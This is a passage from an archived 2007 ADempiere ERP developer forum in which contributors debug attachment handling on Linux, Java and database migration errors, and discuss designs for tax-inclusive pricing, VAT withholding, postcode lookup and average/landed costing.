at java.io.FileOutputStream.open(Native Method)
at java.io.FileOutputStream.<init>(FileOutputStream.java:179)
at java.io.FileOutputStream.<init>(FileOutputStream.java:131)
at org.compiere.model.MAttachmentEntry.getFile(MAttachmentEntry.java:240)
at org.compiere.model.MAttachment.getEntryFile(MAttachment.java:451)
```

And the Dialog "Save Attachment to Disk" shows up.

3b.-Debugging with Eclipse - Tracing the exception

Java Class org.compiere.apps.Attachment, method openAttachment():

Statement

```
String fileName = System.getProperty("java.io.tmpdir") +
m_attachment.getEntryName(index);
```

The variable fileName receives the value "/tmpmyFile.txt (for an attachment file "myFile.txt"). Seems not to be an existing file.

The exception is thrown at

```
m_attachment.getEntryFile(index, tempFile);
```

3c.- Debugging with Eclipse - Opening with Linux

The code which follows in openAttachment() asks for an Operating System: it asks for Windows and Mac, but I miss Linux. This way, openAttachment() returns false and the saveAttachmentToFile() dialog is called, which corresponds to the behaviour described in 3a.

Is this functionality not for Linux?

Then, why does the AD ask for a Unix path?

Maybe I am using incorrectly the attachment dialog; in this case maybe someone can shed a light on this. I would then write in the wiki the correct handling.

Best regards and have a nice day,
Mario Calderon

2007-06-26 17:12:05 UTC

Hi Mario,

- 1) I use ClientAdmin role to set the attachment path and don't get an error here.
- 2) To add an attachment you have to press the attachment button to open the Attachment viewer window. Then you have to press the 'Load' button on the upper right and select your attachment file. After that you just press the 'ok' button (lower left) to get the attachment(s) stored. The 'save attachment to disk' button is only needed if you want to save a copy of your attachment somewhere else.
- 3) The color of the attachment button changes - showing that an attachment exists. If you press it again the attachment(s) will be loaded.

Hope that solves your problem..

Best regards,
Karsten

2007-06-26 17:58:54 UTC

Hi,

thanks Karsten for your reply.

I can only read documents in pdf format. That means, I see the contents on the left pane. I have included .doc, .txt, .xml files, but I can not see their contents.

When I press the "open" button, I get an error.

Is there a way to show other attachments than .pdf?

Thanks and best regards,
Mario Calderon

2007-06-26 19:01:36 UTC

Hi Mario,

so in general it works now (it stores the attachments in the file system)? Can you post the error? For pdf attachments the internal pdf viewer is used. I use it on a windows system and the open button works at least for .txt files - the button opens the systems default editor.

But if you look at the openAttachment() of org.compiere.apps.Attachment you will notice that this is just not implemented for unix.. So I guess you/we have to implement it for unix in order to get the 'open' button to work for non windows client but I don't think that there is a standard way to find a default editor under unix - maybe with the new java 6 functionality.

Regards,
Karsten

```
if (Env.isWindows())
{
// Runtime.getRuntime().exec ("rundll32 url.dll,FileProtocolHandler " + url);
Process p = Runtime.getRuntime().exec("rundll32 SHELL32.DLL,ShellExec_RunDLL
\" + tempFile + "\"");
// p.waitFor();
return true;
}
else if (Env.isMac())
{
String [] cmdArray = new String [] {"open", tempFile.getAbsolutePath()};
Process p = Runtime.getRuntime ().exec (cmdArray);
// p.waitFor();
return true;
}
else // other OS
{
}
```

2007-06-26 21:01:23 UTC

Hi Karsten,

thanks for your comments.

> (it stores the attachments in the file system)?

Yes. In a very nested way. An it finds the files corresponding to one object, which is good.

But sometimes it does not load pdf files which I can read otherwise.

> Can you post the error?

I want to test again starting from scratch.

After I have tested thoroughly, I will post an error as you suggest.

Lastly I will try to find out how to call an application depending on its suffix from within Adempiere.

Bye
Mario Calderon

2007-06-27 06:16:58 UTC

Hi Mario,

>Yes. In a very nested way.

Attachments are stored in a folder tree:

%ATTACHMENT_ROOT%/CLIENT_ID/ORG_ID/TABLE_ID/RECORD_ID/ That is to have one unique folder for every record. See here for more details:

[http://www.adempiere.com/wiki/index.php/Store Attachments In File System](http://www.adempiere.com/wiki/index.php/Store_Attachments_In_File_System)

>But sometimes it does not load pdf files which I can read otherwise. Should be a general problem of the internal pdf viewer then :(

Best regards,
Karsten

2007-03-04 10:31:15 UTC

So the price includes tax bug has been around since the early days - I think I had a post on it in the Compiere forums in 2004. The problem as I see it is this:

It is fine to exclude tax from your purchase prices - but if you are in retail, your sales people want to see tax included in the prices to the customer (not "yes customer, that is £100 plus tax" but "yes customer, that is £100 including tax").

At the moment, you can flag a price list as including tax and then when you print your invoice, it will correctly disclose the tax by taking the rate of tax out of the price as such.

If your product price is £100 and you have selected a tax rate of 10% at the time of sale (sales order), then the invoice will show the product price as £100 and the tax as £9.10 (i.e. the tax base price is £90.90). This is ok if you have just one tax rate in your tax category (and remember you can have only one tax category per product).

However, if you have a number of tax categories - such as a standard rate of tax, and then a tax rate that applies if the product is used in a certain way, then there is a problem. The problem is that if you change the tax rate on the sales order from "standard rate" of 10% to a tax exempt price of 0% then the calculation becomes (product price) £100 less (0% tax on £100) = £100 (tax base amount).

This is effectively increasing the tax base amount of the sale - not selling the product at a lower rate to reflect that tax did not have to be charged.

This situation occurs in the countries where the tax rate is dependent on the product use - such as in the UK when an item such as a book might be sold for educational purposes or a lift and rise bed sold for health reasons. In the second example, a declaration needs to be made by the customer to be able to claim the special rate and then next item they purchase, they may have to pay the price including tax because it is not in relation to their health concerns. i.e. You buy a lift and rise bed because of your disability but then buy a new pillow which does not attract the tax exemption. i.e. the tax exemption is just against the business partner, it is against the item at the point of sale.

In order to fix this (as I am for a customer at the moment), I propose the following:

- we add a new field to the M_Product table to record the default tax rate (being a limited by the tax category selected) - mandatory field
- we extend M_orderline class (and regenerate X_M_orderline) to be tax aware (have a MTax object)
- that we modify the setLineNetAmount in the M_orderline class to calculate from the tax base price being, the price as per the price list (in the case of price includes tax) to be the price, less the standard tax rate add the actual selected tax rate on the order

So in the example above, the tax would be calculated as follows:

- product price (including tax on the price list) £100 less the £9.10 tax at the 'standard' rate add £0 (tax at the order rate - tax exempt selected) = £90.90 or,
- product price (including tax on the price list) £100 less the £9.10 tax at the 'standard' rate add £9.10 (tax at the order rate - standard tax selected) = £100

This should flow through to C_InvoiceLine object as it work from the M_Order object.....

Can anyone think of a better way ? I feel there could be a case to record the base amount and tax on the orderline and I think this might be a stage 2 change as it requires a lot of rework through the code.

Also - would this be a bugfix we could slip in to 3.2 ?

Mike

2007-03-04 11:27:23 UTC

In regards to the stage 2 - we could look at making productpricing return ex tax prices and then have them displayed as incl tax prices in the appropriate user windows / reports

2007-03-06 16:23:30 UTC

Hi Mike,

I see your point.

I know in Germany they too have different VATs for different products (books, medicine I believe and others). So it is in my opinion necessary to include such funtionality in Adempiere.

As governments around the world are always inventing ways and means to pick the money out of the people's pockets, we in Central America have another nice tax related to VAT: the "retention". This functions the following way: you sell \$100,00 to a customer. The VAT is 10%. So the final amount of the invoice is \$110,00. When you receive the money, you get a big surprise, because some customers give you \$109,00 and a "retention document" for \$1. There are (big) companies who must retain the 1% and pass it on

directly to the treasury. I could not model this behaviour in Adempiere (in both ways, for customers and suppliers). The main difficulty concerns the actualization of the corresponding VAT accounts. Such behaviour has to be implemented: it is a slight difference from the situation when a customer pays only part of the amount and you accept it.

Maybe there are other tax scenarios that exist around the world and need implementation in Adempiere. In order not to diffuse, I propose to gather all these requirements, lay out a tax development strategy and start implementing what is needed or paid for. This way we would avoid problems when more tax requirements arise and notice that they are difficult to implement because of former implementations.

Mario Calderon

2007-03-08 10:29:49 UTC

Thanks Mario!

I agree - I certainly would like to look at all of the tax issues and also accounting which I find quite under-developed at the moment.

In regards to the issues you raise - I wonder if withholding works for the scenario that you describe? If I can paraphrase your requirement in Adempiere parlance would it be as follows?

You have a product which is priced at 100,00 ex VAT, with a 10% VAT on a sales price list excluding VAT. When you sell the product on some deferred settlement (such as a credit account), you invoice 100,00 plus 10,00 VAT for a total invoice/order price of 110,00.

When you receive settlement - you receive the 109,00 - which is 110,00 less the 'withholding'.

I would see two general ways to deal with this.....

1. There is a charge on receipt of the 'payment' which you can allocate to the required GL account. i.e. I receive 110,00 less 1,00 charge or....
2. You define withholding for a customer and then when you receive payment from them, the withholding is already factored in.

Some question.....

1. Is the withholding always applied when dealing with a specific business partner
2. How is the withholding calculated - i.e. a flat rate or stepped ?
3. What happens to the withholding? Is it sent to the govt by the business partner and never received by you? How do you account for it - as an expense? Is it recoverable - like input VAT?

If you can provide some more detail around this then I'm more than happy to put it on the enhancement list.

Mike

2007-03-08 17:38:34 UTC

Hi Mike,

The scenario we need to model is as you correctly put it:

"....

- 1.- You have a product which is priced at 100,00 ex VAT,
 - 2.- with a 10% VAT on a sales price list excluding VAT.
 - 3.- When you sell the product on some deferred settlement (such as a credit account), you invoice 100,00 plus 10,00 VAT
 - 4.- for a total invoice/order price of 110,00.
 - 5.- When you receive settlement - you receive the 109,00 - which is 110,00 less the 'withholding'.
-"

To your suggestions:

"

....

I would see two general ways to deal with this.....

1. There is a charge on receipt of the 'payment' which you can allocate to the required GL account. i.e. I receive 110,00 less 1,00 charge or....
2. You define withholding for a customer and then when you receive payment from them, the withholding is already factored in.

...."

We thought at first only of the second alternative (as I described it before), but the first one is also possible.

What we did:

As we saw a "withholding" window, we tried to model the scenario I described:

1.- In the Business Partner Rules, Register "Withholding", we tried to define a rule, but all fields were read-only, with no possibility of entering a value.

2.- In the Application Dictionary, we saw that the Register "Withholding" of the BP and some of the fields of it were "read-only". We unchecked those read-only fields.

Back in the BP window, the withholding fields remain uneditable. We have not seen further into the code why this is so.

3.- In the Payment window we do not see any possibility of linking it to a withholding (I presume it should be done automatically when selecting the BP).

4.- Other Adempiere consultants told us that the withholding is not implemented in Adempiere. So we're stuck

To your questions:

" 1. Is the withholding always applied when dealing with a specific business partner?"

My answer:

Yes. The government thinks some companies pay more easily VAT than others and thus the treasury forces those companies to apply the withholding to ALL their suppliers.

This means

a) for me as a supplier, a specific BP will always apply a withholding to all my invoices. Other BPs never. So, from a supplier's point of view, a BP applies always withholding, or never.

b) for me as a customer picked up by the government, I always apply withholding to ALL my customers, or to none.

"2. How is the withholding calculated - i.e. a flat rate or stepped ? "

My answer:

The withholding is calculated as a flat rate: a percentage of price ex VAT (actually, it is a percentage of VAT!).

"3. What happens to the withholding? Is it sent to the govt by the business partner and never received by you? How do you account for it - as an expense? Is it recoverable - like input VAT? "

My answer:

a) The BP withholds the VAT percentage. He must consider this amount in his VAT declaration to the government.

b) I never see this money. For me, it should be modelled as neutral. The only disadvantage is that I have less liquidity and my customer more liquidity.

c) I have to account for it as a decrease of my VATs payable, as if I had already paid this part of the VAT. This I must consider in my VAT declaration.

d) For the BP, it increases his VATs payable; he must consider this amount in his VAT declaration to the government.

So both sides have to be modelled: on the one side the withholding of VAT and increasing of VATs payable, on the other side the missing VAT and its corresponding decreasing of VATs payable.

I you could put that on the enhancement list, I would appreciate it.

Thanks a lot and have a good day.

Mario

2007-06-27 13:31:44 UTC

Hi Michael,

We agree on your proposal of adding a default tax rate on the product table, not only for the tax included problem, but also for the automatic generation of documents (orders & invoices), or in pos order generation where usually you just scan a barcode and everything is defaulted. Of course this lead to some changes in processes, but we could test if no default rate is present just revert to old logic.

Thanks
Angelo Dabalà
Genied Spa

2007-06-26 10:17:39 UTC

Hi,

As we know, Michael Judd added Postal code functionality to Adempiere, which is great! So, if you want to implement a postal code lookup for your country, you will need to extend the `org.adempiere.interfaces.PostcodeLookupInterface` interface and set the classname into Country window.

It works fine, but it does just postal code to address lookup. I think it will be useful to add address to postal code functionality.

Personally i played a little with this and i implemented this functionality by adding the following method to the `PostcodeLookupInterface`:

```
public int lookupAddress (String addr1, String addr2, String addr3, String addr4, String region, String country);
```

The `VLocationDialog` form remains the same, but when you hit the Online button:

- * if the postal code is not empty then will search for address (`lookupPostcode`)
- * if the postal code is empty then will search for postal code (`lookupAddress`)

Also when there are more then one result, will popup an `JOptionPane` to choose the desired item.

I would like to commit this to trunk. What you think ?

Best regards,
Teo Sarca

2007-06-26 10:54:03 UTC

Hi Teo,

I like it.
Go on.

Kind regards,
Trifon

2007-06-26 10:57:10 UTC

Hi Teo,

Good idea! Just wanted to suggest JTable instead of JOptionPane since the number of results will be great number in case the user leaves some address fields empty and JTable helps visualising them in a better way in my humble opinion.

My [+1] vote to commit your patch.

Warm regards,
Bahman

PS: Not sure all countries support this lookup type.

2007-06-26 11:32:10 UTC

Hi Bahman,

> PS: Not sure all countries support this lookup type.

Basically there is no real implementation in trunk. Just interfaces :)
You will need to implement for your country or for your service.

Best regards,
Teo Sarca

2007-06-26 12:47:06 UTC

Teo - currently the implementation does actually look up the address - it does street1, city and region.

The UK service implementation is done and the plugin is implemented with clients. Due to the licensing restrictions imposed by Royal Mail, any UK implementation would be

restricted from committing to the SVN.

However, we are going to make the plugin available for download in the next few days. We also need to update the UK regions and we are awaiting clarification on this subject because unfortunately, Royal Mail does not align with the United Nations/International/British Standard 6879 Regions(Counties). Once this is complete, we will update the regions and release the plugin. The Plugin will be free to use and download.

Mike

2007-06-26 13:35:01 UTC

along the same lines might it be useful to split the building number from the address. This is something that is country specific in address layouts, for example in Ireland we would write

"1 Main Street"

but in Germany

"Haupt Strasse 1" ...

also I know that there is software utilised by call centres (and anywhere other business scenario that requires quick a valid address entry) that will auto complete addresses based on partial info. Again, for example, in the Netherlands a PostCode + House number is all that is required to derive a complete address... I imagine it might be the same in other countries? While the number is embedded in the address line one it is not possible to define formatting including it or use it in autocomplete/verification.

Colin

2007-06-26 13:44:09 UTC

Colin,

In the UK we derive the address from the post code - although this may return a number of house numbers. You can go from the house number and the spocode to derive the street, city and region (which is what the post code plugin does).

In the case where there are more than one house number for a post code, the user is presented with the options and then selects the correct house number and that gets copied in to street1. The Address is formatted according to the @C@ @P@ @R@ so perhaps we could extend this to add the @S = street1 and @N = number. However, the way we currently work, the final result is returned to the street1 and this works for us because if the post code plugin was designed for the netherlands, then the implementation would

deal with this and hence we wouldn't need to change adempiere's street1.

I hope that make sense. In the end, all of the local formatting can be done in the plugin (as this is country specific) and hence I didn't think there was a case to change the street1 to extract the house.....

Mike

2007-06-27 14:43:49 UTC

Yeah Mike, I probably shouldn't have posted here and confused the topic as I wasn't commenting on your enhancement per se but it just got me thinking. I was merely suggesting that maybe we should (as another Feature Request) consider having a new house number field in the address rather than having it in "address line one", as that would allow use to use formatting (as you suggested with the @S & @N) and we could pass house number & postcode to retrieve the complete address as you again say.

sorry if I confused matters.

colin

2007-06-27 16:08:59 UTC

Hello,

I produce an exception in the Product window after pressing the buttons "Print Preview" or "Print".

The Configuration:

- I create a Print Format for the table M_Product, with some Columns.
 - I create a Process with that Print Format associated.
 - In the Product window, Product tab, I refer to the process.
 - Right after pressing OK in the filter dialog of the Product window, the beep sounds, but no error or warning is shown in the console.
 - When I press the buttons "Print Preview" or "Print" in the Product window, it produces always an error: the window "Print Preview" or "Print" freezes.
- This happens only when the Print format includes the column "Product Category" in its display order. With many other columns it works OK.
On the console, I always get the following error

```
Exception in thread "AWT-EventQueue-0" java.lang.IllegalArgumentException: Invalid substring range
at java.text.AttributedString.addAttribute(AttributedString.java:315)
at org.compiere.print.layout.TableElement.printColumn(TableElement.java:1411)
at org.compiere.print.layout.TableElement.paint(TableElement.java:1155)
at org.compiere.print.layout.Page.paint(Page.java:167)
```


at org.compiere.print.View.paintComponent(View.java:118)
at javax.swing.JComponent.paint(JComponent.java:1006)
at javax.swing.JComponent.paintChildren(JComponent.java:843)

- In Eclipse, execution stucks at
java.awt.EventQueueDispatchThread.run() line 144

Best regards
Mario Calderon

2007-06-27 18:20:36 UTC

Hi All Developers!

I am not a developer, but rather a FR so I tough that I can contribute better if I work in my tests against the trunk code, but I have some questions about this. Any help is greatly appreciated in advance.

I already compiled the source without problem.

I have two escenarios:

- a) Oracle database migrated up to 3.2 version, I wonder if it is possible to apply some scripts to bring it accordingly to the current code. Where can I find such information or scripts to upgrade my database to the trunk?
- b) Or it is just better just to reinstall everything from scratch? Or perhaps maybe it can be work with a `./RUN_DBRestore.sh`
- c) I also have postgresql installed, is there a seed for postgresql in concordance with the trunk?

Thank you very much for your patience and for reading.

Best Regards!

2007-06-27 18:44:20 UTC

Hi Moyses,

- a) You can find the migration scripts in `SRC_HOME/migration` directory.
- b) That's another solution but not necessary.
- c) Yes. When running `RUN_setup` you can select PG as your database. Then when you run `utils/RUN_ImportAdempiere` it automatically creates a PG database and populates it with data. Also if you want to do it manually (as described in Wiki) you can find the seed in `ADEMPIERE_HOME/data/Adempiere_pg.jar` or

SRC_HOME/data/seed/Adempiere_pg.jar. Whatever way you use to populate the database (PG/Oracle), don't forget to run migration scripts against your database.

Hope it helps.

Warm regards,
Bahman

2007-06-27 19:43:25 UTC

to bring a 3.2 database (migratred or otherwise) to the version required by the current trunk code you need to run the scripts in the 320-trunk directory. A clean install and/or running ImportAdempiere will only restore to 3.2... you'd still need to run the 320-trunk scripts to bring it to the latest version.

colin

2007-06-27 21:36:53 UTC

Colin and Bahman I really appreciate your support and recomendations.

I will give it a try.

Best Regards!

2007-06-27 22:11:21 UTC

After migrating the database the client receives some errors, and it can not login.

For example if I change the language in the login screen I receive the following error in the client console:

```
Exception occurred during event dispatching:  
java.lang.IllegalArgumentException: bad position: 11  
t javax.swing.text.JTextComponent.setCaretPosition(JTextComponent.java:1650)  
at org.compiere.grid.ed.MDocDate.caretUpdate(MDocDate.java:237)  
at javax.swing.text.JTextComponent.fireCaretUpdate(JTextComponent.java:391)  
at  
javax.swing.text.JTextComponent$MutableCaretEvent.fire(JTextComponent.java:4389)  
at  
javax.swing.text.JTextComponent$MutableCaretEvent.stateChanged(JTextComponent.java:4411)
```

Then after entering user and password I receive something like this:

=====> CPreparedStatement.executeQuery: AppsServer error [11]
java.lang.IllegalStateException: Failed to find method for hash:-8890733959901231541

Exception occurred during event dispatching:
java.lang.ExceptionInInitializerError

Caused by: java.lang.IllegalStateException: Failed to find method for hash:-
8890733959901231541 available=

Any other idea about it may be I am doing something wrong.

Thank you very much for your assistance.

Regards

2007-06-28 05:47:00 UTC

Moyses

>> After migrating the database the client receives some errors, and it can not login.
By client do you mean as in client-server, and you cannot login fullstop?
Or as in an Adempiere Client and the users in your new client cannot login?

Whenever you run migrations it's important to, using the System Administrator role, run System Admin->General Rules->Synchronize Terminology & Sequence Check. As well as System Admin->General Rules->System Rules->Language... press the Language Maintenance button and select "Add Missing Translations". I'm not 100% if you need do this just once or for each System Language you use... but I always do it for each System Language. I for one am always forgetting these steps :) so I just ask to get them out of the way first.

colin

2007-06-27 18:04:15 UTC

With the latest trunk revision 2844

I am receiving the following message:

```
java.lang.OutOfMemoryError: Java heap space
12:56:07,414 INFO [STDOUT] java.lang.OutOfMemoryError: Java heap space
12:57:13,470 INFO [STDOUT] Exception in thread "http-developer%2F192.168.0.212-80"
12:57:15,238 INFO [STDOUT] java.lang.OutOfMemoryError: Java heap space
12:57:15,239 INFO [STDOUT] Exception in thread "TLoader"
12:57:15,239 INFO [STDOUT] java.lang.OutOfMemoryError: Java heap space
```

12:57:17,579 ERROR [[WProcess]] Servlet.service() for servlet WProcess threw exception
java.lang.OutOfMemoryError: Java heap space

What does this mean? Somebody have an idea?

Thank you very much in advance.

I use Mandriva Linux 2007
1 G memory
Oracle 10g

Best Regards

2007-06-27 18:37:53 UTC

Hi Moyses,

Where and when did the error popped up? It's the application server error? Or it's GUI error? Also what did you do which caused the error?

Warm regards,
Bahman

2007-06-27 21:17:37 UTC

Hi Bahman!

This error triggered in the Server console. The steps that I followed were:

I tried it to run the Client using webstart. After giving the user and password I received the following errors in the client console:

```
Adempiere.startup: Adempiere(r) Release 3.2.0_2007-05-01 -Smart Suite ERP,CRM and
SCM- (c) 1999-2007 Adempiere (r); Implementation: ${env.ADEMPIERE_VERSION}
20070621-1226 - ${env.ADEMPIERE_VENDOR}
13:57:17.958 Ini.loadProperties: /home/moy/Adempiere.properties #28
=====> CPreparedStatement.executeQuery: AppsServer error [11]
java.lang.IllegalStateException: Failed to find method for hash:-8890733959901231541
available={4121927297169232143=public abstract void
javax.ejb.EJBHome.remove(javax.ejb.Handle) throws
```

And some information in the console.

Well then I decided to use the new web client. I logged in but then after selecting the Open Order Report and clicking on the business partner this showed up in the Server

console

```
13:56:19,219 INFO [[/admin]] Resource returned: /adempiere.jnlp
16:09:06,265 ERROR [[WLookup]] Servlet.service() for servlet WLookup threw
exception
java.lang.OutOfMemoryError: Java heap space
16:09:06,321 INFO [STDOUT] Exception in thread "TLoader"
16:09:06,330 INFO [STDOUT] java.lang.OutOfMemoryError: Java heap space
```

On the browser window I received this message

ype Exception report

message

description The server encountered an internal error () that prevented it from fulfilling this request.

exception

```
javax.servlet.ServletException: Servlet execution threw an exception
org.compiere.www.WFilter.doFilter(WFilter.java:145)
org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:81)
```

That was all! Hopefully this is good enough for tracking down this issue.

Best Regards
moyses

2007-06-28 05:54:36 UTC

Moyses,

Can you run a local client on the server and an install a client (i.e. not a webstart) on the client machine too to test ... the question is ... is this a java webstart issue, a java issue (different javas on each machine for example) or a generic adempiere issue... I suspect it's a java issue. By the way is this the same problem mentioned in your thread on migration?

colin

2007-06-28 11:56:49 UTC

Hi Moyses,

Strange!

1. Which source revision are you using?
2. You built the process successfully with no errors?
3. What version of Java are you using? (java -version and \$JAVA_HOME/bin/java -version)
4. Did the server start up with no errors?
5. Is the database server accessible by application server, ie. are they on the same machine or is there a firewall configured?

Warm regards,
Bahman

2007-06-28 13:50:44 UTC

Hi Bahman!

- 1.-I am using the Revision 2846.
- 2.- I was able to build without errors.
- 3.- In the server I am using the following java version on the server:
java version "1.5.0_11"
Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_11-b03)
Java HotSpot(TM) 64-Bit Server VM (build 1.5.0_11-b03, mixed mode)

The client is using:

java version "1.6.0_01"
Java(TM) SE Runtime Environment (build 1.6.0_01-b06)
Java HotSpot(TM) Client VM (build 1.6.0_01-b06, mixed mode, sharing)

- 4.- The server started with no errors.
As usual there a lot of INFO lines on the Server console, but just one warn:

08:46:59,038 WARN [EjbModule] Could not load the
org.jboss.webservice.server.ServiceEndpointInterceptor interceptor

- 5.- The server is accessible via the application server, both are on the same machine. No firewall between them.

Once again thank you very much.

Best Regards!

2007-06-28 15:00:58 UTC

Hi Moyses,

You're welcome!

1. You build server using 1.5.0_11?
2. Use the same JDK for client and server (preferably the one you build server with) and see what happens.

Warm regards,
Bahman

2007-06-28 18:26:53 UTC

Hi Moy!

Please increase this paramanter "-Xms128m -Xmx512m" in you MyEnvironment.sh to Server, it should solve the issue ;-)

Victor Perez
<http://www.e-evolution.com>

2007-06-29 09:17:51 UTC

Hi.
Adempiere320 + PG 8.2.4
Is it normal for PG port at this moment?
Anatoly

```
org.postgresql.util.PSQLException: ERROR: функция currencyconvert(numeric,
numeric, numeric, timestamp without time zone, numeric, numeric, numeric) не
существует UPDATE M_Product_PO SET PriceLastPO = (SELECT
currencyConvert(ol.PriceActual,ol.C_Currency_ID,M_Product_PO.C_Currency_ID,o.Da
teOrdered,o.C_ConversionType_ID,o.AD_Client_ID,o.AD_Org_ID) FROM C_Order o,
C_OrderLine ol WHERE o.C_Order_ID=ol.C_Order_ID AND
M_Product_PO.M_Product_ID=ol.M_Product_ID AND
M_Product_PO.C_BPartner_ID=o.C_BPartner_ID AND ol.C_OrderLine_ID =
(SELECT MIN(ol1.C_OrderLine_ID) FROM C_Order o1, C_OrderLine ol1 WHERE
ol1.C_Order_ID=ol1.C_Order_ID AND
M_Product_PO.M_Product_ID=ol1.M_Product_ID AND
M_Product_PO.C_BPartner_ID=o1.C_BPartner_ID AND o1.C_Order_ID=105) AND
o.C_Order_ID=105) WHERE EXISTS (SELECT * FROM C_Order o, C_OrderLine ol
WHERE o.C_Order_ID=ol.C_Order_ID AND
M_Product_PO.M_Product_ID=ol.M_Product_ID AND
M_Product_PO.C_BPartner_ID=o.C_BPartner_ID AND o.C_Order_ID=105)
[PostPOO105]
```

2007-06-15 05:12:24 UTC

Hi ADempierians,

For the last couple weeks, our programmers dedicated their work to stabilize the costing method which has severe problems and allegedly unfinished development. We focused on fixing Average PO/Invoice costing method and Landed Cost mechanism.

Plus, a major enhancement allowing Reset Accounting on Average PO/Invoice.

We would like to share our achievement and also got some feedbacks from community. Please have a look at http://adempiere.goodwill.co.id/AvgCost_LandedCost.pdf

Best regards,

Armen Rizal

Goodwill Consulting

2007-06-15 18:46:29 UTC

Hi Armen!

I was checking your proposal and your suggestions makes senses to me.

Since I am not a developer I was just documenting what it should, but was not working, please let me know if I can work with you regarding this matter.

I also want to reset my accounting to use Average cost since the first operation.

Regards!

2007-06-17 04:27:01 UTC

Well, thanks Moyses,
let's figure out how you can help us trying.

Can I send you the codes and you rebuild yourself ? Let me know.

Armen

2007-06-18 17:59:43 UTC

Hi Armen!

Yes I can rebuild by myself. My email account is moyses at gmail.com you can sent me there the code.

Best Regards

2007-06-18 22:42:34 UTC

Hi Armen,

I had the same problem, my client wanted average costing and distribution of landed costs.

I would like to test your solution, too which seems to me a very good approach.

Can you send me the code, we can rebuild.

My email is

susanne.de.calderon@westfalia-it.com

Ciao

Susanne

2007-06-19 00:57:19 UTC

Hi Armen,

I think it is better to commit the changes into trunk for all to test.

Regards,

Low

2007-06-19 07:31:56 UTC

Yes Armen, i think u been given SVN access so let me know if it doesnt work. You can send your works to contributions/armen first and let others comment on it here. Also i can package your PDF for our Files under that title if want.

Those testing should carry on to communicate here and things shall remain fast.

many regards

redl

2007-06-19 13:44:36 UTC

Hi,

good idead Redl (greetings!), we will start testing Armens code as soon as the contribution has been announced.

We look forward to it.

Best regards,

Mario Calderon

2007-06-19 14:21:17 UTC

MCostElement needs to be updated as well.

compile:

```
[javac] Compiling 20 source files to /home/adempiere/trunk-auto/base/build
[javac] /home/adempiere/trunk-auto/base/src/org/compiere/model/MCostDetail.java:821:
cannot find symbol
[javac] symbol : method getNonCostingMethods(org.compiere.model.MCostDetail)
[javac] location: class org.compiere.model.MCostElement
[javac] MCostElement[] nce = MCostElement.getNonCostingMethods(this);
[javac] ^
[javac] 1 error
```

BUILD FAILED

/home/adempiere/trunk-auto/utills_dev/build.xml:29: The following error occurred while executing this line:

/home/adempiere/trunk-auto/base/build.xml:54: Compile failed; see the compiler error output for details.

```
svn status -v base/src/org/compiere/model/MCostElement.java
2694 2335 globalqss base/src/org/compiere/model/MCostElement.java
```

```
svn status -v base/src/org/compiere/model/MCostDetail.java
2694 2693 armenrz base/src/org/compiere/model/MCostDetail.java
```

2007-06-19 15:29:58 UTC

Armen has sent the codes. The one he missed above i will try to solve it by tomorrow if armen has not done it.

2007-06-19 19:05:00 UTC

I have some questions about the manage the average , fifo lifo cost.

This is a typical case:

My purchase order to product A is made in UOM 100 kg and the price for this UOM is 10 USD (total cost is 1000 USD)

When I receipt this product I need create a new layer to calculate the average cost ,

My old cost is the 9 usd and have 50 in on-hand (total cost is 450 USD)

new average

$100 + 50 = 150$

1000 + 450 = 1450

new average = 9.6666

Next I sold this product with a cost the 9.66 and then I receipt the Invoice Vendor with new unit price of 11 USD my AP amount is the (1100).

now I have a variance the 10 usd, In my expertise this variance is applied as lost in income statement because If I accept pay the discrepancy in price then also accept the lost.

Some accountants think this variation should be applied to average cost therefore the value of the inventory is affect too, the issue is How to calculate the new average cost with this variation, this is the same situation with fifo and lifo?

what do you think?

Victor Perez

CEO

<http://www.e-evolution.com>

2007-06-20 00:28:16 UTC

ok, I have opened a new bug tracker #1740047 and committed to trunk last night.

Regards,

Armen

2007-06-20 00:42:06 UTC

Thank you for spotting this. because DbPort is now gone into Base made me missed it yesternight, it should be fixed now

Armen

2007-06-20 06:31:51 UTC

Hi Victor,

I think that Adempiere (Compiere) works in different way. When you receipt the product, Adempiere will not calculate new average cost it will just book on asset account (1000 in your case). Average cost is calculated on matching transaction between material receipt and invoice. You can define on which account difference will be booked (IPV -Invoice price variance account). My accountants want that IPV account should be same like asset account.

So in your example asset account booking will be:

1. On receipt +1000
2. On matching +100

New average cost = 1550/150

Hope this help.

Rgds,
Elvis

2007-06-20 13:27:48 UTC

Hi Victor,

Same thing I've been struggling all this time. I think the solution is to merge the Average PO and Average Invoice costing method.

When you match the Receipt with your PO, it will calculate the new average 1450/150.

In case your invoice price is different with your PO price, the difference will go to Delta Amt.

In case the qty is different (like you get bonus qty), the difference will go to Delta Qty. At matching, these deltas will be calculated for new average cost

$(\text{current amt} + \text{delta amt}) / (\text{current qty} + \text{delta qty})$

in your case: $(1450 + 100) / (150 + 0) = 1550 / 150 = 10.33$

To offer flexibility, perhaps we should introduce another new option in Acct Schema, Post Invoice Price Variance, if it's on it will post like the current behaviour, else it's goes into new average calculation.

Best regards,

Armen

Goodwill Consulting

2007-06-20 14:10:44 UTC

Hi All!

Another concern about this accounting method is, what would happen if a user creates a receipt without a Purchase Order?

Which amount should be used in that receipt, if there is no invoice nor PO.

It should take the last purchase price? or the last calculated average cost?

The purchase order and invoices variances, are just for the standard costing method.

This don't apply to lifo, fifo or average. So my doubt here is should we reflect the differences between the receipt and invoice to the inventory account? or what applies in this case?

Regards!

2007-06-21 06:17:59 UTC

Hi Moyses,

Regarding what you first enter (Receipt, Invoice) Adempiere will use old price (depending on costing method: Average invoice, FIFO, LIFO, etc). On matching Adempiere will calculate new current price. Difference is booked on Variance account which can be same like asset account. E.g.

Current price is 10, Costing method is Last invoice. You got new receipt and price is 20.

On Receipt posting:

Asset account 10
Not invoiced items 10

On Invoice posting:

Customer 20
Items in transit 20

On matching:

Items in transit 20
Not invoiced items 10
Invoice price variance 10

Rgds,
Elvis

2007-06-21 12:32:45 UTC

Hi,

Good question. At the moment, for Average PO to work properly, PO is mandatory, the receipt cannot be posted when it can't find the order line. Same thing with Average Invoice. I'll look further to address this issue.

And Yes, The original purpose for Invoice Price variance is for Standard costing.

Armen

2007-06-23 16:10:49 UTC

Hi,

We have the same issue too.

Sometimes it happens to receipt without invoice, but in this case the price is written on the receipt note, so we MUST use that price.

The invoice can arrive on a later time, sometimes with a different price.

Best regards,
Teo Sarca

2007-06-25 06:28:01 UTC

Hi Teo,

